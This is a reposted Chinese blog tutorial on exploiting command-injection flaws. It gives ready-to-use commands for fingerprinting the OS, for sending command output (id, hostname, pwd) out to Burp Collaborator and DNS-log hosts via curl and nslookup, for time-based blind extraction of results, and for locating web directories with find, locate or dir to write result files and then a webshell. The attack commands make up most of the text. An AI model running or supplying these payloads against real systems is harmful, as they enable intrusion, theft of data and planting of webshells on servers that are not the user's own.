命令执行漏洞利用方法

我们在挖掘命令执行漏洞时可能会遇到由于规则不允许写文件但需要得到命令执行结果的情况,或服务器无法出网需要得到结果的情况,以及允许写文件但找不到目录的情况,那么这些问题可以如何解决呢。

本文主要从系统判断方法、通过dnslog回显任意命令结果、通过延时判断命令执行结果和自动查找目录写文件四步来分享如何挖掘命令执行漏洞。

0x01 判断系统方法

我们可以如何判断系统呢?同一命令通过不同参数进行判断,这里以Ping命令为例进行说明:

Ping命令在Linux和Win中的参数不同,在Linux中为-c参数,Win中为-n参数,效果可参考下图,这里需要提到,错误的参数会导致命令执行错误。

Win: ping -n 3 baidu.com

Linux:ping-c3 baidu.com

Windows下的Ping命令每间隔一秒会发送一个ICMP ECHO_REQUEST 包,因此可以利用 Ping 命令来近似地模拟等待指定秒数的效果

 

其中 -n 后指定发送 ECHO_REQUEST 包的数量,也就是我们需要等待的秒数+ 1。需要+1 的原因是,第一个包不经过等待就会被发送,也可用choice /T 5 /CX /DX /N >null去延时。

 

 

 命令让用户在一系列选项中作出选择,并且可以被设置一个超时时间,因而也可以用来模拟等待。在 Windows Server 2003、 Windows Vista 及之后的版本可用。

特有命令判断(certutil)可参考如下方式及效果图:Certutil -urlcache -split –f http://446kjyche3fr57xdvfkifwvy1p7gv5.burpcollaborator.net/

0x02 通过dnslog回显任意命令结果

当系统判断完毕,我们可以通过dns来获取命令执行的结果,比较简单的例如`whoami`.xxx.com,这里需要提到的是,一般情况下dns传递结果的长度是有限的,那么如何通过dns来获取较长的执行结果呢?笔者归纳了如下几种方式供大家参考:

(1) 利用格式化输出

命令如下:

(pwd;id;hostname)|xxd -ps -c 20|awk'{system("nslookup "NR"."$0".c.pproot.com")}'

 

(2) 通过curl传递结果

命令如下:

curl --connect-timeout 3 http://uushnjf9zjc7q5526djxushjbah19py.burpcollaborator.net/2/  -d data=$((id)|base64 -w 0)

 0x03 通过延时判断命令执行结果

命令执行结果回显完毕,就需要通过延时来判断命令执行的结果。

Linux环境下我们有两种判断方法:

方法一:

使用base32编码命令的结果,再使用cut命令截取每一位,操作效果参考下图:

方法二:

使用if [ $(whoami|base32|cut -c 1) ="O" ];then echo 1;fi,有输出,

使用if [ $(whoami|base32|cut -c 1) = "q" ];then echo 1;fi,无输出。

 

 

 这样操作就能够产生布尔关系,将echo1换成sleep 2,进而可以像盲注一样通过延时逐位获取结果。

这里较为详细的分析和脚本建议参考iceMatcha的博客,博客地址:https://icematcha.win/?p=532。

0x04 自动查找目录写文件

命令执行结果判断完毕,我们可以开始自动写文件,Linux环境下有两种可供参考的自动写文件的方法:

方法一:

find 命令:find . -type f -name 1.js

既然可以查找到js文件,那我们直接将写文件的拼接起来即可,将id,pwd,hostname的结果写在js/test1.txt中,命令find . -type f -name 1.js|while read f;do sh -c 'id;pwd;hostname;/sbin/ifconfig' >$(dirname $f)/test.txt;done,效果可参考下图:

 

这里需要提到的是,locate和find 不同, find 可以在硬盘找,locate只能在/var/lib/slocate资料库中找。一般情况下locate的速度会比find快,主要是因为locate并不是真的查找,而是查数据库,这里以查找js文件的效果为例,可参考下图:

 

在可以查找到js文件的条件下,我们可以直接将写的文件进行拼接,将id,pwd,hostname的结果写在js/test1.txt中,再访问xxx.com/js/test1.txt即可。

这里需要我们熟悉基本的命令编写及修改。locate /js/1.js|while read f;do sh -c 'id;pwd;ifconfig'>$(dirname $f)/test1.txt;done,命令效果参考下图:

 

既然linux环境下可以运行上述操作,那么Win环境下是否同样可以呢?

我们尝试下:

Win查找文件命令dir /x /s /b index.html

 

 

 成功查找到文件目录,接着我们结合写入操作,命令:cmd /c "for /f %i in ('dir /x /s /b index.html') do (echo%i>%i.path.txt)%26(ipconfig>%i.ipconfig.txt)"

 

 

 成功创建index.html.path.txt和index.html.ipconfig.txt文件,效果参见下图:

其中index.html.path.txt为路径:

 

 index.html.ipconfig.txt为ifconfig执行的命令结果:

 

 

有了路径我们就可以直接写webshell,或通过修改ifconfig命令快捷写shell。

 

 

 

 

 

转载:https://mp.weixin.qq.com/s/9cXGR7tlN_OAP-dMyZyHEw

  (侵删 

posted @ 2020-10-10 16:59  yokan  阅读(2111)  评论(0编辑  收藏  举报